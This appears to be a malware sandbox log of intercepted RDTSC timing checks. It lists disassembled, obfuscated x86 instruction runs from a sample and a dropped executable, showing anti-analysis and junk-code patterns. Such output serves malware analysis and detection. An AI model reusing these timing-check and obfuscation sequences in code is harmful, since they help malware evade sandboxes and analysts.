Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF08F0 second address: 4DF0906 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F892C71B56Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0906 second address: 4DF093E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C116Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F899C6B92D0h 0x0000000f jmp 00007F892C6C1176h 0x00000014 mov ecx, edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop esi 0x0000001b mov edi, 6760A30Ch 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF093E second address: 4DF0953 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F892C71B571h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0953 second address: 4DF0957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0A6B second address: 4DF0B1F instructions: 0x00000000 rdtsc 0x00000002 mov si, 5C47h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx eax, dx 0x0000000b popad 0x0000000c mov eax, ebx 0x0000000e jmp 00007F892C71B56Fh 0x00000013 mov ecx, dword ptr [ebp-10h] 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F892C71B574h 0x0000001d or cx, 5158h 0x00000022 jmp 00007F892C71B56Bh 0x00000027 popfd 0x00000028 movzx esi, bx 0x0000002b popad 0x0000002c mov dword ptr fs:[00000000h], ecx 0x00000033 jmp 00007F892C71B56Bh 0x00000038 pop ecx 0x00000039 jmp 00007F892C71B576h 0x0000003e pop edi 0x0000003f pushad 0x00000040 mov esi, 68C0283Dh 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007F892C71B56Fh 0x0000004c jmp 00007F892C71B573h 0x00000051 popfd 0x00000052 popad 0x00000053 popad 0x00000054 pop esi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 jmp 00007F892C71B56Bh 0x0000005d mov edi, eax 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0B1F second address: 4DF0B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0B25 second address: 4DF0B29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0B29 second address: 4DF0B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F892C6C1179h 0x00000010 sub eax, 5E7363C6h 0x00000016 jmp 00007F892C6C1171h 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0B69 second address: 4DF0646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 leave 0x00000008 jmp 00007F892C71B576h 0x0000000d retn 0008h 0x00000010 cmp dword ptr [ebp-2Ch], 10h 0x00000014 mov eax, dword ptr [ebp-40h] 0x00000017 jnc 00007F892C71B565h 0x00000019 push eax 0x0000001a lea edx, dword ptr [ebp-00000590h] 0x00000020 push edx 0x00000021 call esi 0x00000023 push 00000008h 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push edx 0x00000029 pop esi 0x0000002a pushfd 0x0000002b jmp 00007F892C71B577h 0x00000030 xor cx, BEDEh 0x00000035 jmp 00007F892C71B579h 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0C97 second address: 4DF0CB7 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007F892C6C1172h 0x0000000c popad 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0CB7 second address: 4DF0CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, dx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0CBF second address: 4DF0D2B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F892C6C116Bh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F892C6C1176h 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F892C6C116Eh 0x0000001e sbb ecx, 01966688h 0x00000024 jmp 00007F892C6C116Bh 0x00000029 popfd 0x0000002a mov ecx, 5CC82EFFh 0x0000002f popad 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0D2B second address: 4DF0D2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DF0D2F second address: 4DF0D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 75F62A second address: 75F62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 75F62E second address: 75F632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8C9B41 second address: 8C9B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8C9B45 second address: 8C9B4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8C9B4F second address: 8C9B59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F892C71B566h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8C9B59 second address: 8C9B5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8C9B5D second address: 8C9B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F892C71B577h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DC6CE second address: 8DC6D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DC6D4 second address: 8DC6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F892C71B56Bh 0x00000009 popad 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007F892C71B572h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DC6EF second address: 8DC705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F892C6C1166h 0x0000000a pushad 0x0000000b jg 00007F892C6C1166h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DCB44 second address: 8DCB4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DCB4D second address: 8DCB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F892C6C1175h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DCB6F second address: 8DCB73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DCB73 second address: 8DCB79 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DCB79 second address: 8DCB7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DCCCA second address: 8DCCF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F892C6C1166h 0x0000000c popad 0x0000000d push edi 0x0000000e jmp 00007F892C6C1177h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DCCF0 second address: 8DCCF5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DE7F6 second address: 8DE7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DE8D7 second address: 8DE8DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DE8DC second address: 8DE926 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F892C6C116Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 551C2FC1h 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F892C6C1168h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b cmc 0x0000002c lea ebx, dword ptr [ebp+124536BBh] 0x00000032 and dx, 54ABh 0x00000037 push eax 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DE99B second address: 8DEA04 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B578h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F892C71B570h 0x0000000f nop 0x00000010 mov dword ptr [ebp+122D1C65h], edi 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F892C71B568h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 mov dx, 12FEh 0x00000036 push 21AAA8A4h 0x0000003b je 00007F892C71B574h 0x00000041 push eax 0x00000042 push edx 0x00000043 jg 00007F892C71B566h 0x00000049 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DEA04 second address: 8DEA88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 21AAA824h 0x0000000d sub dword ptr [ebp+122D248Eh], eax 0x00000013 push 00000003h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F892C6C1168h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f cld 0x00000030 push 00000000h 0x00000032 mov ecx, dword ptr [ebp+122D2D2Eh] 0x00000038 jmp 00007F892C6C1170h 0x0000003d push 00000003h 0x0000003f push 00000000h 0x00000041 push ebp 0x00000042 call 00007F892C6C1168h 0x00000047 pop ebp 0x00000048 mov dword ptr [esp+04h], ebp 0x0000004c add dword ptr [esp+04h], 00000015h 0x00000054 inc ebp 0x00000055 push ebp 0x00000056 ret 0x00000057 pop ebp 0x00000058 ret 0x00000059 mov edi, esi 0x0000005b mov di, BAF5h 0x0000005f add cx, 4F11h 0x00000064 call 00007F892C6C1169h 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DEA88 second address: 8DEAB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B578h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F892C71B568h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DEAB2 second address: 8DEAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push esi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop esi 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jne 00007F892C6C116Eh 0x00000016 mov eax, dword ptr [eax] 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DEAD7 second address: 8DEADB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DEADB second address: 8DEB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c je 00007F892C6C116Ch 0x00000012 jns 00007F892C6C1166h 0x00000018 jne 00007F892C6C1178h 0x0000001e popad 0x0000001f pop eax 0x00000020 mov si, DC06h 0x00000024 lea ebx, dword ptr [ebp+124536C4h] 0x0000002a ja 00007F892C6C1176h 0x00000030 push eax 0x00000031 jo 00007F892C6C1174h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8DEB38 second address: 8DEB3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8CECF4 second address: 8CED0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F892C6C1166h 0x0000000a push edx 0x0000000b pop edx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push esi 0x00000011 je 00007F892C6C116Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8FE405 second address: 8FE409 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8FE409 second address: 8FE425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jc 00007F892C6C1166h 0x0000000d jmp 00007F892C6C116Bh 0x00000012 pop esi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8FE6DA second address: 8FE715 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B578h 0x00000007 jmp 00007F892C71B574h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F892C71B56Bh 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8FE715 second address: 8FE71D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8FE71D second address: 8FE73F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B56Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jg 00007F892C71B566h 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8FE8DF second address: 8FE8E5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8FF26B second address: 8FF277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8FF277 second address: 8FF299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F892C6C116Eh 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F892C6C116Ah 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 8FF299 second address: 8FF2A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F892C71B566h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 900418 second address: 90041C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 90041C second address: 900430 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F892C71B566h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F892C71B566h 0x00000014 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 90337C second address: 903380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 902553 second address: 902564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a ja 00007F892C71B566h 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 90D24B second address: 90D252 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 90D252 second address: 90D284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F892C71B573h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ecx 0x00000010 jmp 00007F892C71B56Fh 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 90D284 second address: 90D288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 90DB62 second address: 90DB66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 910E14 second address: 910E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F892C6C1166h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F892C6C1166h 0x00000013 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 910E27 second address: 910E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 910E2B second address: 910E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 09392120h 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F892C6C1168h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 pushad 0x00000029 clc 0x0000002a mov dword ptr [ebp+12451805h], edi 0x00000030 popad 0x00000031 push 32A8A483h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 910E6D second address: 910E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91119C second address: 9111CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1176h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F892C6C1172h 0x00000010 pushad 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 9112BE second address: 9112DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B571h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F892C71B566h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 911486 second address: 911490 instructions: 0x00000000 rdtsc 0x00000002 je 00007F892C6C116Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 911910 second address: 911914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 911980 second address: 911985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 911985 second address: 91198B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 911F37 second address: 911F80 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F892C6C1166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F892C6C1168h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 sbb edi, 38610AB4h 0x0000002e jnc 00007F892C6C1166h 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 jns 00007F892C6C116Ch 0x0000003d jc 00007F892C6C1166h 0x00000043 rdtsc
Source: C:\Users\user\DocumentsDGCFHIDAKE.exe	RDTSC instruction interceptor: First address: 91244D second address: 9124D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B574h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f pop esi 0x00000010 nop 0x00000011 pushad 0x00000012 sub dword ptr [ebp+122D1C81h], esi 0x00000018 cmc 0x00000019 popad 0x0000001a mov dword ptr [ebp+122D2BB8h], eax 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F892C71B568h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c mov di, dx 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007F892C71B568h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 0000001Bh 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b xchg eax, ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e jne 00007F892C71B568h 0x00000064 rdtsc
